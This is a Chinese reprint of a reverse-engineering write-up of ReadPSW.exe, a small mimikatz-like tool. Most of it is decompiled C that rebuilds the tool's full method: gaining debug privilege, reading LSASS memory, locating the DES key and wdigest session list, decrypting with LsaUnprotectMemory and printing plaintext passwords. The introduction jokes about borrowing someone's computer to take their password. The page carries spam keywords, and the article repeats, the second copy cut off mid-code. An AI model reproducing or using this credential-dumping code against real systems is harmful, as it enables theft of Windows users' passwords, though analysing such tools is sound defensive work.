精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當(dāng)前位置:安全企業(yè)動(dòng)態(tài) → 正文

對(duì)windows密碼抓取神器mimikatz的逆向分析

責(zé)任編輯:editor006 |來(lái)源:企業(yè)網(wǎng)D1Net  2015-01-10 20:14:38 本文摘自:51cto

mimikatz可謂獲取windows明文密碼神器,新版本更是加上了64位支持。用過(guò)一個(gè)小型獲取明文密碼程序,只有一個(gè)可執(zhí)行文件ReadPSW.exe,通過(guò)逆向?qū)懗隽嗽创a,稍微改改可能也可以支持64位。分享一下逆向過(guò)程和工作原理。

了解mimikatz

只要借用一下電腦,便可輕松拿到密碼……“女神,借用電腦一看可否?”

大神們都知道的東西吧,滲透測(cè)試常用工具。法國(guó)一個(gè)牛B的人寫(xiě)的輕量級(jí)調(diào)試器,可以幫助安全測(cè)試人員抓取Windows密碼。

mimikatz 最近發(fā)布了它的2.0版本,抓密碼命令更加簡(jiǎn)單了,估計(jì)作者也看到了對(duì)它這個(gè)神器最多的研究就是直接抓密碼,為神馬不發(fā)布一個(gè)直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過(guò)獲取的kerberos登錄憑據(jù),繞過(guò)支持RestrictedAdmin模式的win8或win2012svr的遠(yuǎn)程終端(RDP) 的登陸認(rèn)證。建議默認(rèn)禁止RestrictedAdmin模式登錄。更多內(nèi)容點(diǎn)我

逆向過(guò)程

我喜歡先用IDA看大致流程,遇到難以靜態(tài)看出來(lái)的函數(shù)再用OD或者windbg。IDA F5 main函數(shù),一段一段的看。

int __cdecl main_0()

{

int hdll; // eax@15

HMODULE ModuleSecur32; // eax@15

int LsaEnumerateLogonSessions; // eax@15

int LsaGetLogonSessionData; // eax@15

int LsaFreeReturnBuffer; // eax@15

int bcrypt; // eax@27

int hbcrypt; // eax@27

int bcryptprimitives; // eax@27

int hbcryptprimitives; // eax@27

int status7; // eax@27

const void *Base; // [sp+7Ch] [bp-2E0h]@25

SIZE_T nSize; // [sp+80h] [bp-2DCh]@25

int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15

int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15

int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15

HMODULE Secur32; // [sp+94h] [bp-2C8h]@15

LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15

int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15

struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5

HANDLE Lsass; // [sp+13Ch] [bp-220h]@3

LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18

LPCVOID *First; // [sp+340h] [bp-1Ch]@20

int LogonSessionNow; // [sp+344h] [bp-18h]@18

int ListEntry; // [sp+348h] [bp-14h]@15

SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18

int hDllLsasrv; // [sp+358h] [bp-4h]@15

變量名大多是修改過(guò)的,通過(guò)分析子函數(shù)的功能做相應(yīng)的改變,看起來(lái)方便一些。

memset(&tt, -858993460, 0x320u);

if ( EnableDebugPrivilege() != 1 )

printf("EnableDebugPrivilege fail !");

首先提權(quán),比較簡(jiǎn)單:

pToken = &TokenHandle;

dwAccess = TOKEN_ALL_ACCESS;

ProcessHandle = GetCurrentProcess();

retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);

status = OpenProcessToken(retProcessHandle, dwAccess, pToken);

status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid.LowPart = Luid.LowPart;

NewState.Privileges[0].Luid.HighPart = Luid.HighPart;

NewState.Privileges[0].Attributes = 2;

status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);

接著main函數(shù)流程:

Lsass = GetProcessHandle("lsass.exe");

if ( Lsass )

{

offset_one = 0;

offset_two = -1;

memset(&VersionInformation, 0, 0x94u);

VersionInformation.dwOSVersionInfoSize = 148;

status = GetVersionExA(&VersionInformation);

_chkesp(&t == &t, status, &v48);

if ( VersionInformation.dwMajorVersion == 5 )

{

if ( VersionInformation.dwMinorVersion == 1 )

{

offset_one = 36;

offset_two = 2;

}

else

{

if ( VersionInformation.dwMinorVersion == 2 )

{

offset_one = 28;

offset_two = 4;

}

}

}

else

{

if ( VersionInformation.dwMajorVersion == 6 )

{

offset_one = 32;

offset_two = 1;

}

}

if ( offset_two == -1 )

{

status12 = CloseHandle(Lsass);

_chkesp(&t == &t, status12, &v48);

returned = 0;

}

上面工作主要是:獲取lsass.exe進(jìn)程句柄、根據(jù)不同版本賦值兩個(gè)偏移量。可以看出支持xp和2003,之后版本vista、win7等使用同一偏移量。

else

{

hdll = LoadLibraryA("lsasrv.dll");

hDllLsasrv = _chkesp(&t == &t, hdll, &v48);

LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);

這個(gè)GetFunctionAddr是我重命名的,跟進(jìn)去看一下實(shí)現(xiàn)就知道了:

int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

return RealGetFunctionAddr(Module, Limit, Symbol, Length);

}

是一個(gè)跳轉(zhuǎn),接著跟進(jìn):

int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

while ( Length + Module <= Limit )

{

label = Symbol;

for ( i = 0; i < Length && *Module == *label; ++i )

{

++Module;

++label;

}

if ( i == Length )

break;

ModuleModule = Module - i + 1;

}

return result;

}

是用特征碼查找函數(shù)地址的,想知道是什么函數(shù)最好用windbg跟一下,發(fā)現(xiàn)找到了lsasrv.dll的LsaUnprotectMemory 函數(shù),這里我也對(duì)變量名進(jìn)行了重命名。該函數(shù)用于解密LsaProtectMemory加密內(nèi)存,這兩個(gè)函數(shù)在LSA中用得非常多。

l_LogSessList = GetWdigestl_LogSessList();

DesKey(Lsass, hDllLsasrv, offset_two);

這兩個(gè)函數(shù)挺關(guān)鍵,需要結(jié)合OD動(dòng)態(tài)調(diào)試,先看第一個(gè),中間有個(gè)類似上面的跳轉(zhuǎn),直接看實(shí)現(xiàn)函數(shù):

unsigned int __cdecl RealGetFunction()

{

HMODULE hModule; // eax@1

unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1

unsigned int returned; // [sp+50h] [bp-Ch]@1

int SpInstanceInit; // [sp+54h] [bp-8h]@1

HMODULE hLibModule; // [sp+58h] [bp-4h]@1

memset(&v6, -858993460, 0x50u);

t1 = LoadLibraryA("wdigest.dll");

hModule = _chkesp(&v5 == &v5, t1, &v11);

hLibModule = hModule;

v2 = GetProcAddress(hModule, "SpInstanceInit");

SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);

moduleBase = hLibModule;

returned = 0;

while ( moduleBase < SpInstanceInit && moduleBase )

{

returned = moduleBase;

moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);

}

returned = *(returned - 4);

status = FreeLibrary(hLibModule);

_chkesp(&v5 == &v5, status, &v11);

return returned;

首先加載wdigest.dll模塊,這里有詳細(xì)的介紹。然后獲取SpInstanceInit的地址,接著是一個(gè)查找函數(shù)的循環(huán),根據(jù)特征碼在SpInstanceInit地址低位查找某個(gè)地址,使用windbg可以看到要找的東西:

0:000> ln eax

(742ec29c) +0xc29c

這并不是一個(gè)函數(shù),具體的作用現(xiàn)在還不知道。后面會(huì)用到。

看下面的函數(shù),這個(gè)函數(shù)實(shí)際上是用來(lái)產(chǎn)生DES的密鑰:

const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)

{

int status; // eax@1

const void *dwResult; // eax@1

int Key; // eax@4

char buffer; // [sp+Ch] [bp-68h]@1

int OSVersion; // [sp+4Ch] [bp-28h]@1

unsigned int HeapReverse; // [sp+50h] [bp-24h]@1

const void *Buffer; // [sp+54h] [bp-20h]@4

LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4

LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1

SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1

SIZE_T nSize; // [sp+64h] [bp-10h]@1

int pImageNtHeaders; // [sp+68h] [bp-Ch]@1

int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1

int DataSECTION; // [sp+70h] [bp-4h]@1

int v27; // [sp+74h] [bp+0h]@1

memset(&buffer, -858993460, 0x68u);

hTmpDllLsasrv = hDllLsasrv;

DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;

lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 獲取lsasrv.dll的數(shù)據(jù)區(qū)

nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 數(shù)據(jù)區(qū)大小

status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //讀取數(shù)據(jù)區(qū)內(nèi)容

_chkesp(&v15 == &v15, status, &v27);

pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);

HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);

dwResult = offset;

OSVersion = offset;

if ( offset == 1 )

{

v8 = LoadLibraryA("bcrypt.dll");

_chkesp(&v15 == &v15, v8, &v27);

v9 = LoadLibraryA("bcryptprimitives.dll");

_chkesp(&v15 == &v15, v9, &v27);

v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3儀E鑌b", 0xCu); //根據(jù)特征碼查找存放DES_KEY的地址

g_pDESXKey = v10;

g_pDESXKey = *(v10 - 1);

v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v11, &v27);

v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通過(guò)兩次內(nèi)存查找找到KEY

_chkesp(&v15 == &v15, v12, &v27);

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v13, &v27);

lpBuffer = &lpBaseAddress;

lpBaseAddress = &unk_42BFB8;

v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);

dwResult = _chkesp(&v15 == &v15, v14, &v27);

dword_42AFC4 = &unk_42ADB8;

}

else

{

if ( OSVersion == 2 || OSVersion == 4 )

{

Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);

g_pDESXKey = Key;

g_pDESXKey = *(Key + 12);

v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v6, &v27);

v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v7, &v27);

dwResult = g_pDESXKey;

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

}

}

return dwResult;

}

根據(jù)最初得到的偏移,讀取進(jìn)程地址空間,獲取DES的密鑰。了解了這兩個(gè)函數(shù)內(nèi)容接著回歸main函數(shù):

status13 = LoadLibraryA("Secur32.dll");

ModuleSecur32 = _chkesp(&t == &t, status13, &v48);

Secur32 = ModuleSecur32;

LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");

pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);

LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");

pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);

LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");

pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);

us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);

加載secur32.dll,然后獲取幾個(gè)函數(shù)的地址,枚舉登陸會(huì)話和獲取登陸會(huì)話數(shù)據(jù)。接著調(diào)用LsaEnumerateLogonSessions得到當(dāng)前登錄的會(huì)話個(gè)數(shù)以及所有會(huì)話組成的列表。MSDN上說(shuō)明了這個(gè)函數(shù),會(huì)返回會(huì)話的LUID。

_chkesp(&t == &t, status1, &v48);

for ( i = 0; i < count; ++i )

{

LogonSessionNow = ListEntry + 8 * i;// 根據(jù)這里可以知道

output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 這里輸出登陸用戶名

進(jìn)入output_name_session看看:

int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)

{

int status; // eax@1

int status1; // eax@1

char v6; // [sp+0h] [bp-50h]@1

char v7; // [sp+Ch] [bp-44h]@1

int LogonSessionData; // [sp+4Ch] [bp-4h]@1

int v9; // [sp+50h] [bp+0h]@1

memset(&v7, -858993460, 0x44u);

status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);

_chkesp(&v6 == &v6, status, &v9);

printf("UserName: %S ", *(LogonSessionData + 16));

printf("LogonDomain: %S ", *(LogonSessionData + 24));

status1 = pLsaFreeReturnBuffer(LogonSessionData);

return _chkesp(&v6 == &v6, status1, &v9);

}

這里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,輸出登陸名和域名。

status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 這里讀取之前獲取的那個(gè)不明地址內(nèi)容到List

_chkesp(&t == &t, status3, &v48);

while ( List[0] != l_LogSessList )

{

status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);

_chkesp(&t == &t, status4, &v48);

First = &List[4];

if ( List[4] == *LogonSessionNow )

{

if ( First[1] == *(LogonSessionNow + 4) ) // 這個(gè)First[1]看著太別扭了,實(shí)際上就是比較List[4]和枚舉到的會(huì)話LUID值

break;// 這里可以知道之前那個(gè)不明地址<Unloaded_wdigest.dll>+0xc29c是個(gè)列表

}

}

if ( List[0] == l_LogSessList )

{

printf("Specific LUID NOT found ");

}

else

{

nSize = 0;

v28 = (offset_one + First);

nSize = *(offset_one + First + 2);

Base = *(offset_one + First + 4); // 還是使用了First,不要忘記First是從當(dāng)時(shí)那個(gè)不明地址處讀取的值

memset(Buffer2, 0, 0x100u);

status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);

_chkesp(&t == &t, status2, &v47);// 這里讀到加密之后的密碼。整個(gè)流程就清楚了,使用LsaEnumerateSessions獲取LUIDs,與之前通過(guò)特征碼找到的l_LogSessList結(jié)合找出密碼。l_LogSessList保存了密碼的長(zhǎng)度和存放地址以及會(huì)話LUID,是個(gè)重要的未公開(kāi)結(jié)構(gòu)體。

status5 = (LsaUnprotectMemory)(Buffer2, nSize);

_chkesp(&t == &t, status5, &v47);

printf("password: %S ", Buffer2);

}

后面是一些釋放dll和內(nèi)存的工作,不再贅述。程序和IDA數(shù)據(jù)庫(kù)右鍵圖片可以得到。

關(guān)鍵字:constmain函數(shù)stdcall

本文摘自:51cto

x 對(duì)windows密碼抓取神器mimikatz的逆向分析 掃一掃
分享本文到朋友圈
當(dāng)前位置:安全企業(yè)動(dòng)態(tài) → 正文

對(duì)windows密碼抓取神器mimikatz的逆向分析

責(zé)任編輯:editor006 |來(lái)源:企業(yè)網(wǎng)D1Net  2015-01-10 20:14:38 本文摘自:51cto

mimikatz可謂獲取windows明文密碼神器,新版本更是加上了64位支持。用過(guò)一個(gè)小型獲取明文密碼程序,只有一個(gè)可執(zhí)行文件ReadPSW.exe,通過(guò)逆向?qū)懗隽嗽创a,稍微改改可能也可以支持64位。分享一下逆向過(guò)程和工作原理。

了解mimikatz

只要借用一下電腦,便可輕松拿到密碼……“女神,借用電腦一看可否?”

大神們都知道的東西吧,滲透測(cè)試常用工具。法國(guó)一個(gè)牛B的人寫(xiě)的輕量級(jí)調(diào)試器,可以幫助安全測(cè)試人員抓取Windows密碼。

mimikatz 最近發(fā)布了它的2.0版本,抓密碼命令更加簡(jiǎn)單了,估計(jì)作者也看到了對(duì)它這個(gè)神器最多的研究就是直接抓密碼,為神馬不發(fā)布一個(gè)直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過(guò)獲取的kerberos登錄憑據(jù),繞過(guò)支持RestrictedAdmin模式的win8或win2012svr的遠(yuǎn)程終端(RDP) 的登陸認(rèn)證。建議默認(rèn)禁止RestrictedAdmin模式登錄。更多內(nèi)容點(diǎn)我

逆向過(guò)程

我喜歡先用IDA看大致流程,遇到難以靜態(tài)看出來(lái)的函數(shù)再用OD或者windbg。IDA F5 main函數(shù),一段一段的看。

int __cdecl main_0()

{

int hdll; // eax@15

HMODULE ModuleSecur32; // eax@15

int LsaEnumerateLogonSessions; // eax@15

int LsaGetLogonSessionData; // eax@15

int LsaFreeReturnBuffer; // eax@15

int bcrypt; // eax@27

int hbcrypt; // eax@27

int bcryptprimitives; // eax@27

int hbcryptprimitives; // eax@27

int status7; // eax@27

const void *Base; // [sp+7Ch] [bp-2E0h]@25

SIZE_T nSize; // [sp+80h] [bp-2DCh]@25

int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15

int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15

int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15

HMODULE Secur32; // [sp+94h] [bp-2C8h]@15

LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15

int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15

struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5

HANDLE Lsass; // [sp+13Ch] [bp-220h]@3

LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18

LPCVOID *First; // [sp+340h] [bp-1Ch]@20

int LogonSessionNow; // [sp+344h] [bp-18h]@18

int ListEntry; // [sp+348h] [bp-14h]@15

SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18

int hDllLsasrv; // [sp+358h] [bp-4h]@15

變量名大多是修改過(guò)的,通過(guò)分析子函數(shù)的功能做相應(yīng)的改變,看起來(lái)方便一些。

memset(&tt, -858993460, 0x320u);

if ( EnableDebugPrivilege() != 1 )

printf("EnableDebugPrivilege fail !");

首先提權(quán),比較簡(jiǎn)單:

pToken = &TokenHandle;

dwAccess = TOKEN_ALL_ACCESS;

ProcessHandle = GetCurrentProcess();

retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);

status = OpenProcessToken(retProcessHandle, dwAccess, pToken);

status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid.LowPart = Luid.LowPart;

NewState.Privileges[0].Luid.HighPart = Luid.HighPart;

NewState.Privileges[0].Attributes = 2;

status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);

接著main函數(shù)流程:

Lsass = GetProcessHandle("lsass.exe");

if ( Lsass )

{

offset_one = 0;

offset_two = -1;

memset(&VersionInformation, 0, 0x94u);

VersionInformation.dwOSVersionInfoSize = 148;

status = GetVersionExA(&VersionInformation);

_chkesp(&t == &t, status, &v48);

if ( VersionInformation.dwMajorVersion == 5 )

{

if ( VersionInformation.dwMinorVersion == 1 )

{

offset_one = 36;

offset_two = 2;

}

else

{

if ( VersionInformation.dwMinorVersion == 2 )

{

offset_one = 28;

offset_two = 4;

}

}

}

else

{

if ( VersionInformation.dwMajorVersion == 6 )

{

offset_one = 32;

offset_two = 1;

}

}

if ( offset_two == -1 )

{

status12 = CloseHandle(Lsass);

_chkesp(&t == &t, status12, &v48);

returned = 0;

}

上面工作主要是:獲取lsass.exe進(jìn)程句柄、根據(jù)不同版本賦值兩個(gè)偏移量。可以看出支持xp和2003,之后版本vista、win7等使用同一偏移量。

else

{

hdll = LoadLibraryA("lsasrv.dll");

hDllLsasrv = _chkesp(&t == &t, hdll, &v48);

LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);

這個(gè)GetFunctionAddr是我重命名的,跟進(jìn)去看一下實(shí)現(xiàn)就知道了:

int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

return RealGetFunctionAddr(Module, Limit, Symbol, Length);

}

是一個(gè)跳轉(zhuǎn),接著跟進(jìn):

int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

while ( Length + Module <= Limit )

{

label = Symbol;

for ( i = 0; i < Length && *Module == *label; ++i )

{

++Module;

++label;

}

if ( i == Length )

break;

ModuleModule = Module - i + 1;

}

return result;

}

是用特征碼查找函數(shù)地址的,想知道是什么函數(shù)最好用windbg跟一下,發(fā)現(xiàn)找到了lsasrv.dll的LsaUnprotectMemory 函數(shù),這里我也對(duì)變量名進(jìn)行了重命名。該函數(shù)用于解密LsaProtectMemory加密內(nèi)存,這兩個(gè)函數(shù)在LSA中用得非常多。

l_LogSessList = GetWdigestl_LogSessList();

DesKey(Lsass, hDllLsasrv, offset_two);

這兩個(gè)函數(shù)挺關(guān)鍵,需要結(jié)合OD動(dòng)態(tài)調(diào)試,先看第一個(gè),中間有個(gè)類似上面的跳轉(zhuǎn),直接看實(shí)現(xiàn)函數(shù):

unsigned int __cdecl RealGetFunction()

{

HMODULE hModule; // eax@1

unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1

unsigned int returned; // [sp+50h] [bp-Ch]@1

int SpInstanceInit; // [sp+54h] [bp-8h]@1

HMODULE hLibModule; // [sp+58h] [bp-4h]@1

memset(&v6, -858993460, 0x50u);

t1 = LoadLibraryA("wdigest.dll");

hModule = _chkesp(&v5 == &v5, t1, &v11);

hLibModule = hModule;

v2 = GetProcAddress(hModule, "SpInstanceInit");

SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);

moduleBase = hLibModule;

returned = 0;

while ( moduleBase < SpInstanceInit && moduleBase )

{

returned = moduleBase;

moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);

}

returned = *(returned - 4);

status = FreeLibrary(hLibModule);

_chkesp(&v5 == &v5, status, &v11);

return returned;

首先加載wdigest.dll模塊,這里有詳細(xì)的介紹。然后獲取SpInstanceInit的地址,接著是一個(gè)查找函數(shù)的循環(huán),根據(jù)特征碼在SpInstanceInit地址低位查找某個(gè)地址,使用windbg可以看到要找的東西:

0:000> ln eax

(742ec29c) +0xc29c

這并不是一個(gè)函數(shù),具體的作用現(xiàn)在還不知道。后面會(huì)用到。

看下面的函數(shù),這個(gè)函數(shù)實(shí)際上是用來(lái)產(chǎn)生DES的密鑰:

const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)

{

int status; // eax@1

const void *dwResult; // eax@1

int Key; // eax@4

char buffer; // [sp+Ch] [bp-68h]@1

int OSVersion; // [sp+4Ch] [bp-28h]@1

unsigned int HeapReverse; // [sp+50h] [bp-24h]@1

const void *Buffer; // [sp+54h] [bp-20h]@4

LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4

LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1

SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1

SIZE_T nSize; // [sp+64h] [bp-10h]@1

int pImageNtHeaders; // [sp+68h] [bp-Ch]@1

int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1

int DataSECTION; // [sp+70h] [bp-4h]@1

int v27; // [sp+74h] [bp+0h]@1

memset(&buffer, -858993460, 0x68u);

hTmpDllLsasrv = hDllLsasrv;

DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;

lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 獲取lsasrv.dll的數(shù)據(jù)區(qū)

nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 數(shù)據(jù)區(qū)大小

status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //讀取數(shù)據(jù)區(qū)內(nèi)容

_chkesp(&v15 == &v15, status, &v27);

pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);

HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);

dwResult = offset;

OSVersion = offset;

if ( offset == 1 )

{

v8 = LoadLibraryA("bcrypt.dll");

_chkesp(&v15 == &v15, v8, &v27);

v9 = LoadLibraryA("bcryptprimitives.dll");

_chkesp(&v15 == &v15, v9, &v27);

v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3儀E鑌b", 0xCu); //根據(jù)特征碼查找存放DES_KEY的地址

g_pDESXKey = v10;

g_pDESXKey = *(v10 - 1);

v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v11, &v27);

v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通過(guò)兩次內(nèi)存查找找到KEY

_chkesp(&v15 == &v15, v12, &v27);

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v13, &v27);

lpBuffer = &lpBaseAddress;

lpBaseAddress = &unk_42BFB8;

v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);

dwResult = _chkesp(&v15 == &v15, v14, &v27);

dword_42AFC4 = &unk_42ADB8;

}

else

{

if ( OSVersion == 2 || OSVersion == 4 )

{

Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);

g_pDESXKey = Key;

g_pDESXKey = *(Key + 12);

v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v6, &v27);

v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v7, &v27);

dwResult = g_pDESXKey;

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

}

}

return dwResult;

}

根據(jù)最初得到的偏移,讀取進(jìn)程地址空間,獲取DES的密鑰。了解了這兩個(gè)函數(shù)內(nèi)容接著回歸main函數(shù):

status13 = LoadLibraryA("Secur32.dll");

ModuleSecur32 = _chkesp(&t == &t, status13, &v48);

Secur32 = ModuleSecur32;

LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");

pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);

LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");

pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);

LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");

pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);

us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);

加載secur32.dll,然后獲取幾個(gè)函數(shù)的地址,枚舉登陸會(huì)話和獲取登陸會(huì)話數(shù)據(jù)。接著調(diào)用LsaEnumerateLogonSessions得到當(dāng)前登錄的會(huì)話個(gè)數(shù)以及所有會(huì)話組成的列表。MSDN上說(shuō)明了這個(gè)函數(shù),會(huì)返回會(huì)話的LUID。

_chkesp(&t == &t, status1, &v48);

for ( i = 0; i < count; ++i )

{

LogonSessionNow = ListEntry + 8 * i;// 根據(jù)這里可以知道

output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 這里輸出登陸用戶名

進(jìn)入output_name_session看看:

int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)

{

int status; // eax@1

int status1; // eax@1

char v6; // [sp+0h] [bp-50h]@1

char v7; // [sp+Ch] [bp-44h]@1

int LogonSessionData; // [sp+4Ch] [bp-4h]@1

int v9; // [sp+50h] [bp+0h]@1

memset(&v7, -858993460, 0x44u);

status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);

_chkesp(&v6 == &v6, status, &v9);

printf("UserName: %S ", *(LogonSessionData + 16));

printf("LogonDomain: %S ", *(LogonSessionData + 24));

status1 = pLsaFreeReturnBuffer(LogonSessionData);

return _chkesp(&v6 == &v6, status1, &v9);

}

這里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,輸出登陸名和域名。

status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 這里讀取之前獲取的那個(gè)不明地址內(nèi)容到List

_chkesp(&t == &t, status3, &v48);

while ( List[0] != l_LogSessList )

{

status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);

_chkesp(&t == &t, status4, &v48);

First = &List[4];

if ( List[4] == *LogonSessionNow )

{

if ( First[1] == *(LogonSessionNow + 4) ) // 這個(gè)First[1]看著太別扭了,實(shí)際上就是比較List[4]和枚舉到的會(huì)話LUID值

break;// 這里可以知道之前那個(gè)不明地址<Unloaded_wdigest.dll>+0xc29c是個(gè)列表

}

}

if ( List[0] == l_LogSessList )

{

printf("Specific LUID NOT found ");

}

else

{

nSize = 0;

v28 = (offset_one + First);

nSize = *(offset_one + First + 2);

